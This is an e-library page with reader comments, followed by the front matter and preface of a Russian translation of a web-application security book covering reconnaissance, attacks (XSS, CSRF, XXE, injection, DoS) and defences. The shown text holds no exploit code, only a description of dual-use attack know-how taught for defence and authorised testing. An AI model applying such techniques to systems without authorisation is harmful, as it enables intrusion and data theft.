КулЛиб электронная библиотека
Всего книг - 577730 томов
Объем библиотеки - 864 Гб.
Всего авторов - 231323
Пользователей - 106358

Впечатления

Stribog73 про Клепинина: Справочник грибника (Справочная литература: прочее)

Отличный справочник! У меня в бумаге есть более свежее его издание, но у меня сломан сканер и денег на ремонт пока нет. Качайте это издание, оно мало отличается от более позднего и качество весьма хорошее.

Рейтинг: +2 ( 2 за, 0 против).
Stribog73 про Бескоровайный: Грибы. Иллюстрированный справочник (Справочная литература: прочее)

Плывет по реке крокодил. Видит - на берегу сидит мартышка и что-то жует.
- Мартышка, что ты жуешь?
- Грыбы!
- Какие грибы - это же банан?
- Грыбы отсюда!

Рейтинг: +3 ( 3 за, 0 против).
Влад и мир про Трофимов: Солдат - всегда солдат (Боевая фантастика)

не знаю как потом, но начало дубовое -то есть дурость полная. И где вы видели питомники собак, охраняемые автоматами?. Какой дурак Туда полезет? Красть охранников с зубами и нюхом? Поиск военкомата при полной разрухе и исчезновении людей? Смешная шутка из-за глупости. У солдата нет семьи, родных и друзей? Сперва люди интересуются жизнью близких, а уж потом военкоматами. Если он такой солдафон, то почему покинул пост с оружием руках явно в

подробнее ...

Рейтинг: +1 ( 1 за, 0 против).
Stribog73 про Филиппова: Грибы против рака (Здоровье)

В книге отсутствуют таблицы - так в исходном файле. Твердой копии книги у меня нет.

Рейтинг: +1 ( 1 за, 0 против).
lopotun про Шаповалов: Уха с расстегаями: Рыбные блюда из своего улова. Секреты удачной рыбалки (Кулинария)

Написано очень живо и интересно. Даже с юмором:
"Охотники, те могут посоветовать новичку, скажем, ловить зайцев с помощью лимонной кислоты. Не слышали? Насыпаешь кристаллы на пенек, заяц лижет, зажмуривается от этакой кислятины — тут-то и хватай его за уши!"

Рейтинг: +2 ( 2 за, 0 против).
vovih1 про Липарк: Лик Ветра (Самиздат, сетевая литература)

Будем ждать финальную 4 книгу.

Рейтинг: +1 ( 1 за, 0 против).
Stribog73 про Живцов: Следак 3 (Альтернативная история)

2 pva2408
Если это "Недописанное", то не надо добавлять еще и жанр "Отрывок, ознакомительный фрагмент" - это разные вещи.

Рейтинг: +1 ( 1 за, 0 против).

Безопасность веб-приложений [Эндрю Хоффман] (pdf) читать онлайн

-  Безопасность веб-приложений  (и.с. Бестселлеры o’reilly) 10.58 Мб (скачать pdf) (скачать pdf+fbd)  (читать)  (читать постранично) - Эндрю Хоффман

Книга в формате pdf! Изображения и текст могут не отображаться!


Настройки текста:



Beijing

Boston Farnham Sebastopol

Tokyo

Безопасность
веб-приложений
Разведка, защита, нападение

Эндрю Хоффман

2021

ББК 32.988.02-018-07
УДК 004.738.5
Х85

Хоффман Эндрю
Х85 Безопасность веб-приложений. — СПб.: Питер, 2021. — 336 с.: ил. — (Серия
«Бестселлеры O’Reilly»).
ISBN 978-5-4461-1786-4
Среди огромного количества информации по сетевой и ИТ-безопасности практически не
найти книг по безопасности веб-приложений. Познакомьтесь на практике с разведкой, защитой
и нападением! Вы изучите методы эффективного исследования и анализа веб-приложений, даже
тех, к которым нет прямого доступа, узнаете самые современные хакерские приемы и научитесь
защищать собственные разработки.

16+ (В соответствии с Федеральным законом от 29 декабря 2010 г. № 436-ФЗ.)

ББК 32.988.02-018-07
УДК 004.738.5

Права на издание получены по соглашению с O’Reilly. Все права защищены. Никакая часть данной книги
не может быть воспроизведена в какой бы то ни было форме без письменного разрешения владельцев
авторских прав.
Информация, содержащаяся в данной книге, получена из источников, рассматриваемых издательством как
надежные. Тем не менее, имея в виду возможные человеческие или технические ошибки, издательство не
может гарантировать абсолютную точность и полноту приводимых сведений и не несет ответственности за
возможные ошибки, связанные с использованием книги. Издательство не несет ответственности за доступность материалов, ссылки на которые вы можете найти в этой книге. На момент подготовки книги к изданию
все ссылки на интернет-ресурсы были действующими.

ISBN 978-1492053118 англ.

ISBN 978-5-4461-1786-4

Authorized Russian translation of the English edition of Web Application Security
ISBN 9781492053118 © 2020 Andrew Hoffman
This translation is published and sold by permission of O’Reilly Media, Inc., which
owns or controls all rights to publish and sell the same.
© Перевод на русский язык ООО Издательство «Питер», 2021
© Издание на русском языке, оформление ООО Издательство «Питер»,
2021
© Серия «Бестселлеры O’Reilly», 2021

Краткое содержание

Предисловие..........................................................................................................................................16
Глава 1. История защиты программного обеспечения.....................................................34

ЧАСТЬ I. РАЗВЕДКА
Глава 2. Введение в разведку веб-приложений....................................................................55
Глава 3. Структура современных веб-приложений.............................................................61
Глава 4. Поиск субдоменов.............................................................................................................90
Глава 5. Анализ API.......................................................................................................................... 114
Глава 6. Обнаружение сторонних зависимостей.............................................................. 124
Глава 7. Поиск слабых мест в архитектуре приложения............................................... 136
Глава 8. Итоги части I...................................................................................................................... 145

ЧАСТЬ II. НАПАДЕНИЕ
Глава 9. Введение во взлом веб-приложений..................................................................... 148
Глава 10. Межсайтовый скриптинг (XSS)............................................................................... 151
Глава 11. Подделка межсайтовых запросов (CSRF).......................................................... 166
Глава 12. Атака на внешние сущности XML (XXE).............................................................. 176
Глава 13. Внедрение кода............................................................................................................. 183

Краткое содержание  5

Глава 14. Отказ в обслуживании (DoS)................................................................................... 196
Глава 15. Эксплуатация сторонних зависимостей............................................................ 206
Глава 16. Итоги части II.................................................................................................................. 218

ЧАСТЬ III. ЗАЩИТА
Глава 17. Защита современных веб-приложений............................................................. 221
Глава 18. Безопасная архитектура приложений............................................................... 228
Глава 19. Проверка безопасности кода................................................................................. 240
Глава 20. Обнаружение уязвимостей..................................................................................... 251
Глава 21. Управление уязвимостями...................................................................................... 262
Глава 22. Противодействие XSS-атакам................................................................................. 272
Глава 23. Защита от CSRF............................................................................................................... 285
Глава 24. Защита от XXE-атак....................................................................................................... 293
Глава 25. Противодействие внедрению................................................................................ 297
Глава 26. Противодействие DoS-атакам................................................................................ 307
Глава 27. Защита сторонних зависимостей.......................................................................... 312
Глава 28. Итоги части III ................................................................................................................ 318
Глава 29. Заключение..................................................................................................................... 327
Об авторе.............................................................................................................................................. 329
Об обложке.......................................................................................................................................... 330

Оглавление

Предисловие............................................................................................................16
Исходные требования и цели обучения.............................................................................16
Требования к уровню подготовки ........................................................................................17
Минимальный набор навыков................................................................................................17
Кому больше всего пригодится эта книга?........................................................................18
Инженеры-программисты и разработчики веб-приложений...........................18
Общие цели обучения..........................................................................................................20
Инженеры по безопасности, пентестеры и охотники за багами .....................20
Структура книги.............................................................................................................................21
Разведка......................................................................................................................................22
Нападение..................................................................................................................................23
Защита..........................................................................................................................................24
Язык и терминология...................................................................................................................27
Итоги...................................................................................................................................................32
Условные обозначения...............................................................................................................32
От издательства..............................................................................................................................33
Глава 1. История защиты программного обеспечения.....................................34
Истоки хакерства...........................................................................................................................34
«Энигма», 1930-е............................................................................................................................35
Автоматизированный взлом шифра «Энигмы», 1940-е...............................................39
Появление «бомбы»..............................................................................................................40
Фрикинг, 1950-е..............................................................................................................................42
Метод борьбы с фрикингом, 1960-е.....................................................................................43
Начало компьютерного взлома, 1980-е..............................................................................45

Оглавление  7

Расцвет Всемирной паутины, 2000-е....................................................................................46
Современные хакеры, после 2015-го...................................................................................49
Итоги...................................................................................................................................................52

ЧАСТЬ I
РАЗВЕДКА
Глава 2. Введение в разведку веб-приложений.................................................55
Сбор информации.........................................................................................................................55
Карта веб-приложения...............................................................................................................58
Итоги...................................................................................................................................................59
Глава 3. Структура современных веб-приложений...........................................61
Сравнение современных и более ранних версий приложений..............................61
REST API..............................................................................................................................................63
Формат JSON....................................................................................................................................66
JavaScript...........................................................................................................................................68
Переменные и их область видимости..........................................................................69
Функции......................................................................................................................................72
Контекст......................................................................................................................................73
Прототипное наследование..............................................................................................74
Асинхронное выполнение кода......................................................................................77
Программный интерфейс DOM браузера...................................................................80
Фреймворки для SPA...................................................................................................................82
Системы аутентификации и авторизации..........................................................................83
Аутентификация......................................................................................................................83
Авторизация.............................................................................................................................84
Веб-серверы....................................................................................................................................85
Базы данных на стороне сервера..........................................................................................86
Хранение данных на стороне клиента................................................................................87
Итоги...................................................................................................................................................88
Глава 4. Поиск субдоменов....................................................................................90
Множество приложений в рамках одного домена........................................................90
Встроенные в браузер инструменты анализа..................................................................91

8  Оглавление

Общедоступная информация..................................................................................................94
Кэши поисковых систем......................................................................................................95
Поиск в архиве.........................................................................................................................97
Социальные профили...........................................................................................................99
Атаки на передачу зоны.......................................................................................................... 102
Брутфорс субдоменов ............................................................................................................. 104
Перебор по словарю................................................................................................................ 110
Итоги................................................................................................................................................ 112
Глава 5. Анализ API............................................................................................... 114
Обнаружение конечной точки............................................................................................. 114
Механизмы аутентификации.......................................................................................... 118
Разновидности конечных точек.......................................................................................... 120
Основные разновидности............................................................................................... 120
Специализированные разновидности...................................................................... 121
Итоги................................................................................................................................................ 123
Глава 6. Обнаружение сторонних зависимостей............................................ 124
Клиентские фреймворки........................................................................................................ 124
Фреймворки для одностраничных приложений.................................................. 125
Библиотеки JavaScript....................................................................................................... 127
Библиотеки CSS.................................................................................................................... 129
Фреймворки на стороне сервера....................................................................................... 129
Заголовки................................................................................................................................ 130
Стандартные сообщения об ошибке и страницы 404......................................... 130
Базы данных........................................................................................................................... 133
Итоги................................................................................................................................................ 135
Глава 7. Поиск слабых мест в архитектуре приложения............................... 136
Признаки безопасной и небезопасной архитектуры................................................ 137
Уровни безопасности............................................................................................................... 141
Заимствование и перекрой................................................................................................... 142
Итоги................................................................................................................................................ 144
Глава 8. Итоги части I............................................................................................ 145

Оглавление  9

ЧАСТЬ II
НАПАДЕНИЕ
Глава 9. Введение во взлом веб-приложений................................................. 148
Мышление хакера...................................................................................................................... 148
Применение данных, полученных в процессе разведки......................................... 149
Глава 10. Межсайтовый скриптинг (XSS).......................................................... 151
Обнаружение XSS-уязвимости............................................................................................. 151
Хранимый XSS.............................................................................................................................. 155
Отраженный XSS......................................................................................................................... 157
XSS-атака на базе DOM............................................................................................................. 160
XSS с мутациями.......................................................................................................................... 162
Итоги................................................................................................................................................ 164
Глава 11. Подделка межсайтовых запросов (CSRF)........................................ 166
Подделка параметров запроса............................................................................................ 166
Изменение содержимого запроса GET............................................................................. 171
CSRF-атака на конечные точки POST................................................................................. 173
Итоги................................................................................................................................................ 175
Глава 12. Атака на внешние сущности XML (XXE)............................................ 176
Атака напрямую.......................................................................................................................... 176
Непрямая XXE-атака.................................................................................................................. 180
Итоги................................................................................................................................................ 182
Глава 13. Внедрение кода.................................................................................... 183
Внедрение SQL-кода................................................................................................................. 183
Внедрение кода........................................................................................................................... 187
Внедрение команд..................................................................................................................... 192
Итоги................................................................................................................................................ 195
Глава 14. Отказ в обслуживании (DoS).............................................................. 196
ReDoS-атака................................................................................................................................... 197
Логические DoS-уязвимости................................................................................................. 200
Распределенная DoS-атака.................................................................................................... 203
Итоги................................................................................................................................................ 205

10  Оглавление

Глава 15. Эксплуатация сторонних зависимостей.......................................... 206
Методы интеграции................................................................................................................... 208
Ветви и вилки........................................................................................................................ 209
Приложения с собственным сервером..................................................................... 209
Интеграция на уровне кода............................................................................................ 210
Диспетчеры пакетов................................................................................................................. 211
JavaScript................................................................................................................................. 212
Java............................................................................................................................................. 214
Другие языки......................................................................................................................... 214
База данных общеизвестных уязвимостей..................................................................... 215
Итоги................................................................................................................................................ 217
Глава 16. Итоги части II......................................................................................... 218

ЧАСТЬ III
ЗАЩИТА
Глава 17. Защита современных веб-приложений........................................... 221
Архитектура защищенного ПО............................................................................................ 222
Глубокий анализ кода............................................................................................................... 223
Поиск уязвимости...................................................................................................................... 223
Анализ уязвимости.................................................................................................................... 224
Управление уязвимостями..................................................................................................... 225
Регрессивное тестирование.................................................................................................. 225
Меры по снижению риска...................................................................................................... 226
Прикладные техники разведки и нападения................................................................ 226
Глава 18. Безопасная архитектура приложений............................................. 228
Анализ требований к ПО......................................................................................................... 229
Аутентификация и авторизация.......................................................................................... 230
Протоколы SSL и TLS........................................................................................................... 230
Защита учетных данных.................................................................................................... 232
Хеширование учетных данных...................................................................................... 233
Двухфакторная аутентификация.................................................................................. 235

Оглавление  11

Личные данные и финансовая информация.................................................................. 237
Поиск................................................................................................................................................ 237
Итоги................................................................................................................................................ 238
Глава 19. Проверка безопасности кода............................................................ 240
Начало проверки........................................................................................................................ 241
Основные типы уязвимостей и пользовательские логические ошибки.......... 242
С чего начать проверку безопасности............................................................................. 244
Антипаттерны безопасного программирования........................................................ 246
Черные списки...................................................................................................................... 247
Шаблонный код.................................................................................................................... 248
Доверие по умолчанию.................................................................................................... 248
Разделение клиента и сервера...................................................................................... 249
Итоги................................................................................................................................................ 250
Глава 20. Обнаружение уязвимостей................................................................ 251
Автоматизированная проверка........................................................................................... 251
Статический анализ............................................................................................................ 252
Динамический анализ....................................................................................................... 254
Регрессионное тестирование........................................................................................ 255
Программы ответственного раскрытия информации.............................................. 258
Программы Bug Bounty........................................................................................................... 259
Сторонние пентестеры............................................................................................................ 259
Итоги................................................................................................................................................ 260
Глава 21. Управление уязвимостями................................................................ 262
Воспроизведение уязвимостей........................................................................................... 262
Классификация уязвимостей................................................................................................ 263
Общая система оценки уязвимостей................................................................................ 263
CVSS: Базовая метрика...................................................................................................... 265
CVSS: Временная метрика................................................................................................ 268
CVSS: Контекстная метрика............................................................................................. 269
Усовершенствованная классификация уязвимостей................................................ 270
Что делать потом........................................................................................................................ 270
Итоги................................................................................................................................................ 271

12  Оглавление

Глава 22. Противодействие XSS-атакам............................................................ 272
Приемы написания кода для противодействия XSS.................................................. 272
Очистка пользовательского ввода..................................................................................... 274
Приемник DOMParser........................................................................................................ 276
Приемник SVG....................................................................................................................... 276
Приемник Blob...................................................................................................................... 277
Санация гиперссылок ....................................................................................................... 277
Символьные сущности в HTML...................................................................................... 278
CSS..................................................................................................................................................... 279
Политика защиты контента для предотвращения XSS.............................................. 281
Директива script-src............................................................................................................ 281
Ключевые слова unsafe-eval и unsafe-inline............................................................ 282
Внедрение CSP...................................................................................................................... 283
Итоги................................................................................................................................................ 283
Глава 23. Защита от CSRF..................................................................................... 285
Проверка заголовков............................................................................................................... 285
CSRF-токен..................................................................................................................................... 287
CSRF-токены без сохранения состояния.................................................................. 288
Противодействие CRSF на уровне кода........................................................................... 289
Запросы GET без сохранения состояния.................................................................. 289
Снижение риска CSRF на уровне приложения...................................................... 290
Итоги................................................................................................................................................ 292
Глава 24. Защита от XXE-атак.............................................................................. 293
Оценка других форматов данных....................................................................................... 294
Дополнительные риски, связанные с XXE....................................................................... 295
Итоги................................................................................................................................................ 296
Глава 25. Противодействие внедрению............................................................ 297
Противодействие внедрению SQL-кода.......................................................................... 297
Распознавание внедрения SQL-кода.......................................................................... 298
Подготовленные операторы.......................................................................................... 299
Более специфические методы защиты...................................................................... 301

Оглавление   13

Защита от других видов внедрения................................................................................... 302
Потенциальные цели внедрения................................................................................. 302
Принцип минимальных привилегий.......................................................................... 303
Белый список команд............................................................................................................... 304
Итоги................................................................................................................................................ 305
Глава 26. Противодействие DoS-атакам........................................................... 307
Противодействие атакам ReDoS.......................................................................................... 308
Защита от логических DoS-атак........................................................................................... 308
Защита от DDoS........................................................................................................................... 309
Смягчение DDoS-атак........................................................................................................ 310
Итоги................................................................................................................................................ 311
Глава 27. Защита сторонних зависимостей...................................................... 312
Оценка дерева зависимостей............................................................................................... 312
Моделирование дерева зависимости....................................................................... 313
Деревья зависимостей на практике........................................................................... 314
Автоматизированная оценка......................................................................................... 314
Техники безопасной интеграции........................................................................................ 315
Разделение интересов...................................................................................................... 315
Безопасное управление пакетами.............................................................................. 316
Итоги................................................................................................................................................ 316
Глава 28. Итоги части III ....................................................................................... 318
История безопасности программного обеспечения................................................. 318
Разведка.......................................................................................................................................... 320
Нападение...................................................................................................................................... 322
Защита............................................................................................................................................. 323
Глава 29. Заключение........................................................................................... 327
Об авторе.............................................................................................................................................. 329
Об обложке.......................................................................................................................................... 330

Особая благодарность следующим людям:
Анджеле Руфино (Angela Rufino) и Дженнифер Поллок (Jennifer Pollock)
за помощь в процессе публикации и на многих этапах написания.
Августу Детлефсену (August Detlefsen), Райану Фладу (Ryan Flood),
Четану Каранде (Chetan Karande), Аллану Лиске (Allan Liska)
и Тиму Галло (Tim Gallo) за то, что они дали отличные технические отзывы
и предложения по улучшению.
Эми Адамс (Amy Adams) за безоговорочную поддержку и за то,
что она лучший друг, о котором только можно мечтать.

Предисловие

Добро пожаловать в Безопасность веб-приложений. В предисловии к этой книге
мы сразу же обозначим цели обучения, а также навыки и знания, необходимые
читателю для получения максимальной пользы от материала. Прежде чем перейти к первой главе, обязательно ознакомьтесь со всеми исходными требованиями, особенно если вы не уверены, что вам нужна эта книга, или же сомневаетесь
в своей компетенции.

Исходные требования и цели обучения
Эта книга не просто поможет защитить ваше веб-приложение от хакеров, но
также расскажет об их тактике поиска уязвимостей и взлома.
Мы обсудим множество приемов, которыми пользуются современные хакеры
для взлома веб-приложений, поддерживаемых корпорациями, правительствами,
а иногда и любителями.
После тщательного изучения этих методов мы перейдем к средствам защиты.
Вы сможете по-новому взглянуть на архитектуру приложений, а также научитесь
применять передовой опыт обеспечения безопасности при их разработке. Мы
оценим различные методы защиты от наиболее распространенных и опасных
типов атак на сегодняшний день.
После прочтения этой книги у вас появятся знания, необходимые для предварительного сбора информации о приложениях, к которым у вас нет доступа на
уровне кода. Вы научитесь определять направление угрозы и находить дыры
в безопасности, а также воздействия, предназначенные для создания угрозы
данным, прерывания выполнения или вмешательства в ход работы приложений.
Вы сможете самостоятельно находить уязвимые области и поймете, как написать код для защиты от атак, ставящих под угрозу ваше приложение и его
пользователей.

16  Предисловие

Сложность материала в книге нарастает постепенно, поэтому если вы
решите начать чтение с середины и обнаружите, что упустили важную
информацию, просто вернитесь на несколько глав назад.
Если же какая-то тема не обозначена как нечто предварительно необходимое для понимания главы, к ней будет идти объяснение.

Требования к уровню подготовки
Книга предназначена для широкой аудитории, но из-за стиля написания и представленных примеров она больше всего подходит людям со средним уровнем
подготовки в области разработки ПО.
Возможно, вы спросите: «А что такое средний уровень подготовки?» Ответ на
этот вопрос будет зависеть от множества факторов. По большому счету, для
чтения этой книги достаточно начального уровня подготовки в области разработки ПО. Другими словами, системный администратор с (достаточным)
опытом веб-разработки и/или написания сценариев, пожалуй, сможет понять
все примеры из книги. И все же в ней есть вещи, для которых нужно разбираться в написании кода как для клиентской, так и для серверной стороны.
Опыта лишь в одной из этих областей может быть недостаточно для глубокого
понимания материала.
В книге также обсуждаются основы сетевого взаимодействия клиент–сервер по
протоколу HTTP. Рассматривается и архитектура программного обеспечения,
поскольку мы будем говорить о способах снижения рисков при интеграции
стороннего ПО в собственный код.
В книге затрагивается очень много тем, вот поэтому для понимания материала
и необходим «средний уровень». Читателям, у которых совсем нет опыта или
знаний в разработке ПО для приложений, она не подойдет.

Минимальный набор навыков
«Средний уровень знаний в разработке ПО» включает в себя:
Умение писать программы с базовыми функциями CRUD (создание,
чтение, обновление, удаление) хотя бы на одном языке.
Умение писать серверный код (бэкенд).
Умение писать код, который запускается в браузере (фронтенд, обычно
JavaScript).

Минимальный набор навыков  17

Понимание HTTP и умение выполнить на нем или хотя бы прочесть запросы GET/POST через HTTP на каком-либо языке или платформе.
Умение писать или, по крайней мере, читать и понимать приложения,
которые используют как серверный, так и клиентский код, и обмениваться данными между ними через HTTP.
Знакомство как минимум с одной популярной базой данных (MySQL,
MongoDB и т. п.).
Эти навыки позволят вам получить максимальную пользу от материала. Любой
дополнительный опыт сверх перечисленного будет только плюсом и облегчит
восприятие этой книги.
Для простоты большинство примеров кода написано на JavaScript
(для единообразия клиентской и серверной частей), но их нетрудно
переписать на другом языке.

Я очень постарался сохранять адекватный темп усложнения материала, а также
давать как можно более подробные объяснения. Именно поэтому все рассказы
о новых технологиях начинаются с их краткой предыстории и обзора принципов
работы.

Кому больше всего пригодится эта книга?
Я считаю важным уточнить, кому эта книга пригодится больше всего, и таким
способом лучше очертить свою целевую аудиторию. Этот раздел я структурировал по целям обучения и профессиональным интересам. Но даже если вы не
попадаете ни в одну из перечисленных категорий, вы все равно можете узнать
много ценных или, по крайней мере, интересных идей.
Я пытался написать книгу, которая сможет выдержать испытание временем,
поэтому, если позже вы решите специализироваться в одной из перечисленных
профессий, вся информация все равно будет актуальной.

Инженеры-программисты и разработчики веб-приложений
Основной целевой аудиторией своей книги я считаю инженеров-программистов
или разработчиков веб-приложений в начале своего карьерного пути или уже
с опытом работы по специальности. В идеале такой читатель заинтересован

18   Предисловие

в том, чтобы отлично понимать тактики хакеров или методы противодействия
атакам.
К сожалению, термины «разработчик веб-приложений» и «инженер-программист» часто взаимозаменяемы, что может привести к некоторой путанице. Так
как я использую оба этих термина в следующих главах, мне хотелось бы дать
некоторые пояснения.

Инженеры-программисты
Говоря об инженерах-программистах, я имею в виду специалистов широкого
профиля, умеющих писать ПО для различных платформ. Таким специалистам
моя книга будет полезна по нескольким причинам.
Во-первых, большая часть информации, которую я даю, может быть легко перенесена на ПО, работающее не в интернете. Ее также можно перенести на другие
типы сетевых приложений, причем в первую очередь на ум приходят нативные
мобильные приложения.
Более того, рассмотренные здесь варианты эксплуатации уязвимостей используют преимущества серверной стороны, связанные с коммуникацией вебприложения с другими программными компонентами. В результате любое ПО
(базы данных, CRM-системы, системы бухгалтерского учета, средства ведения
журналов и т. п.), которое взаимодействует с веб-приложением, можно рассматривать как потенциальную мишень.

Разработчики веб-приложений
Что касается разработчиков веб-приложений, по моему определению это специалисты в области написании ПО, работающего в Сети. Их часто подразделяют
на фронтенд-, бэкэнд- и фуллстек- разработчиков.
Исторически сложилось так, что наибольшее количество атак приходилось на
уязвимые места серверной части веб-приложения. Поэтому мне кажется, что
бэкенд- и фуллстек-разработчикам будет несложно понять информацию из
этой книги.
Но я также считаю, что книга пригодитсяи другим типам разработчиков вебприложений, в том числе тем, кто пишет код не для сервера, а для браузера
(фронтенд/JavaScript-разработчики).
В следующих главах я расскажу о том, что многие успешные атаки хакеров
на веб-приложения происходят с помощью вредоносного кода, запускаемого

Кому больше всего пригодится эта книга?  19

в браузере. Некоторые хакеры даже используют для этой цели DOM браузера
или таблицы стилей CSS.
Это означает, что фронтенд-разработчики также должны быть осведомлены об
уязвимостях своего кода и о способах их снижения.

Общие цели обучения
Эта книга может послужить отличным источником информации для всех, кто
хочет сменить род деятельности и заняться вопросами, связанными с безопасностью. Будет она полезна и тем, кто хочет узнать, как защитить свой код.
Если вы хотите защитить свое приложение от специфических эксплойтов,
тогда эта книга для вас. Уникальная структура книги позволят использовать
ее в качестве справочника по безопасности без необходимости читать главы,
посвященные взлому.
Я бы посоветовал прочитать ее от корки до корки, чтобы максимизировать
полученные знания. Но если вам нужен только справочник по защите от определенных типов атак, просто откройте соответствующие главы и приступайте
к чтению.

Инженеры по безопасности, пентестеры и охотники
за багами
Структура этой книги позволяет использовать ее как ресурс для получения
информации, связанной с тестированием на проникновение, поиском ошибок
и любыми другими работами по обеспечению безопасности на уровне приложений. Если эти направления для вас актуальны или интересны, вам подойдет
информация из первой половины книги.
Мы глубоко погрузимся в варианты эксплуатации уязвимостей как на уровне
кода, так и на уровне архитектуры, а не просто расскажем о том, как пользоваться
популярным ПО с открытым исходным кодом или платными автоматизированными программами. Соответственно, книга может представлять интерес
и для инженеров по безопасности программного обеспечения, инженеров по
ИТ-безопасности, инженеров по сетевой безопасности, пентестеров и охотников
за багами.
Эта книга будет очень полезна специалистам по безопасности, которые хотели
бы глубже погрузиться в системы и код, лежащие в основе инструментов или
сценариев.

20   Предисловие

Хотите подзаработать, одновременно развивая навыки взлома? Прочтите эту книгу, а затем зарегистрируйтесь в одной из программ
охоты за багами, о которых идет речь в третьей части. Это отличный
способ помочь различным компаниям повысить безопасность своих
продуктов и поднять немного денег.

Современные пентестеры зачастую используют набор готовых сценариев эксплуатации уязвимостей. Это привело к появлению множества платных инструментов с открытым исходным кодом, которые автоматизируют классические
атаки. Для их запуска не нужно глубоких знаний об архитектуре приложения
или о логике в конкретном блоке кода.
В этой книге рассказ об атаках и мерах противодействия им не связан с использованием каких-либо специализированных инструментов. Мы будем полагаться на собственные сценарии, сетевые запросы и инструменты, которые
входят в стандартную комплектацию операционных систем на базе Unix, а также
на стандартные инструменты, встроенные в основные веб-браузеры (Chrome,
Firefox и Edge).
Это не умаляет ценности специализированных инструментов защиты. Более
того, я считаю многие из них исключительно полезными и значительно упрощающими проведение профессиональных тестов на проникновение!
Но мне хотелось сосредоточиться на наиболее важных этапах поиска уязвимости, разработке методов ее эксплуатации, определении приоритетности
компрометируемых данных и обеспечении средств защиты от всего вышеперечисленного. Мне кажется, что со знаниями, полученными из этой книги, вы
сможете отправиться в самостоятельное плавание и искать уязвимости новых
типов, разрабатывать способы взлома систем, которые никогда не использовались ранее, и защищать самые сложные системы от самых настойчивых
злоумышленников.

Структура книги
Вы быстро обнаружите, что эта книга построена совсем иначе, чем большинство других изданий подобной тематики. Это сделано намеренно. Материал
целенаправленно структурирован таким образом, чтобы соотношение глав,
касающихся взлома (нападения) и безопасности (защиты) было практически
одинаковым.
Наше путешествие начинается с небольшого урока истории, где мы познакомимся с прошлыми исследованиями методов эксплуатации уязвимостей,

Структура книги  21

инструментов и порядком действий. От него мы быстро перейдем к основной
теме: эксплуатации уязвимостей и мерам противодействия в современных вебприложениях.
Книга разбита на три части, и в идеале ее имеет смысл читать линейно, от первой
страницы до последней. Именно такой порядок даст вам максимум знаний. Но,
как я уже упоминал выше, эту книгу можно использовать и как справочник по
различным атакам или по мерам защиты, сосредоточив внимание на первой или
второй частях соответственно.
Думаю, вы уже понимаете, как ориентироваться в книге, поэтому давайте крат­ко
рассмотрим три основные части, чтобы понять важность каждой из них.

Разведка
Первая часть называется «Разведка» и посвящена способам получения информации о веб-приложении без попыток его взлома.
Мы обсудим ряд важных технологий и концепций, которые необходимо освоить
любому, кто хочет стать хакером. Эти темы также будут важны для тех, кто хочет
обезопасить свое приложение, потому что можно принять меры, препятствующие получению информации описанными в книге методами.
У меня была возможность поработать с одними из лучших в мире пентестеров
и охотников за багами. Беседуя с ними и анализируя их действия, я пришел к выводу, что тема предварительного сбора данных гораздо важнее, чем считают
другие авторы.

Почему важна разведка?
Я бы сказал, что у многих из лучших охотников за багами есть разведывательные
способности экспертного уровня. Именно это отличает «великих» хакеров от
просто «хороших».
Другими словами, можно владеть быстрым авто (ну или в рассматриваемом
случае — знать, как эксплуатировать уязвимости), но без знания наиболее рацио­
нального маршрута к финишу нельзя выиграть гонку. Более медленный автомобиль может дойти до финиша быстрее, если выберет более правильный путь.
Если вам ближе аналогии из фэнтези, можно вспомнить игры-рогалики, в которых задача состоит не в нанесении большого урона, а в том, чтобы пойти на
разведку впереди остальной группы и вернуться обратно с информацией. Именно разведчик помогает выстроить тактику боя и понять, какие битвы принесут

22  Предисловие

больше всего наград. Последнее особенно важно, потому что многие варианты
атак могут вестись против хорошо защищенных целей. Так и у хакера может
быть только один шанс использовать дыру в программном обеспечении, прежде
чем она будет обнаружена и закрыта.
Кроме того, можно с уверенностью сказать, что второе применение полученных
в ходе разведки данных — это определение приоритетности ваших действий.
Эта часть книги будет крайне важна для тех, кто заинтересован в карьере пентестера или в участии в программе охоты за ошибками. Ведь тесты с целью поиска ошибок делаются в стиле «черного ящика»: структура и код приложения
неизвестны, и, следовательно, нужно самостоятельно с помощью тщательного
анализа и изучения понять, как все устроено.

Нападение
Во второй части фокус смещается к анализу кода и сетевых запросов. Полученные в результате сведения мы попытаемся использовать для взлома небезопасно
написанных или неправильно настроенных веб-приложений.
Некоторые главы содержат описания фактических методов взлома,
используемых киберпреступниками (также известными как хакеры
Black Hat). Соответственно, практическое применение подобных
техник допустимо только с вашими собственными приложениями
или с теми, на тестирование которых вы имеете письменное разрешение.
Во всех прочих случаях ваши действия могут привести к штрафам
или, в зависимости от законов вашей страны, даже к тюремному
заключению.

Во второй части я покажу, как создавать и развертывать эксплойты, предназначенные для кражи данных или принудительного изменения поведения
приложения.
Эта часть книги основывается на информации из первой части. Полученные
в ней навыки разведки в сочетании с навыками взлома позволят нам атаковать
демонстрационные веб-приложения.
Каждой уязвимости посвящена отдельная глава. Я объясняю суть ее эксплуатации, чтобы вы могли понять, как все работает. Затем мы научимся искать
обсуждаемые уязвимости и создаем вредоносный код, чтобы развернуть его
в приложении и понаблюдать за результатами.

Структура книги  23

Подробный разбор уязвимостей
Один из первых способов эксплуатации уязвимости, который мы изучим —
межсайтовый скриптинг (XSS) — представляет собой атаку против широкого
спектра веб-приложений, применимую и к приложениям других типов (например, мобильным приложениям, флэш-играм и др.). Хакер пишет вредоносный
код и, используя слабость механизмов фильтрации в приложении, запускает
его на чужом компьютере.
Обсуждение этого варианта атаки мы начнем с уязвимого приложения. Демонстрационное приложение будет простым и точным, в идеале состоящим всего из
нескольких абзацев кода. Мы напишем вредоносный код, который будет внедрен
в это приложение и затем воспользуется преимуществами гипотетического
пользователя на другой стороне.
Звучит просто, не правда ли? Так и должно быть. При отсутствии защиты большинство программных систем легко взламываются. На примере такой атаки, как
XSS, от которой существует множество вариантов защиты, мы постепенно начнем
копать все глубже и глубже, изучая специфику написания и развертывания атак.
Начнем мы с попытки сломать стандартную защиту и в конечном итоге перей­
дем к обходу более продвинутых защитных механизмов. Помните: построенная
кем-то стена для защиты кодовой базы не означает, что через нее невозможно
перелезть или сделать подкоп. Здесь есть простор для творчества и поиска уникальных и интересных решений.
Вторая часть важна и тем, что понимание образа мышления хакера часто имеет
жизненно важное значение для создания защищенной кодовой базы. И важно
это для любого читателя, заинтересованного во взломе, тестировании на проникновение или поиске ошибок.

Защита
Третья и последняя часть этой книги посвящена защите кода от взлома. Мы
снова рассмотрим все типы эксплойтов, с которыми имели дело во второй части,
но на этот раз с противоположной точки зрения.
Теперь мы будем концентрироваться не на взломе программных систем, а на
мерах, позволяющих его предотвратить или уменьшить вероятность проникновения.
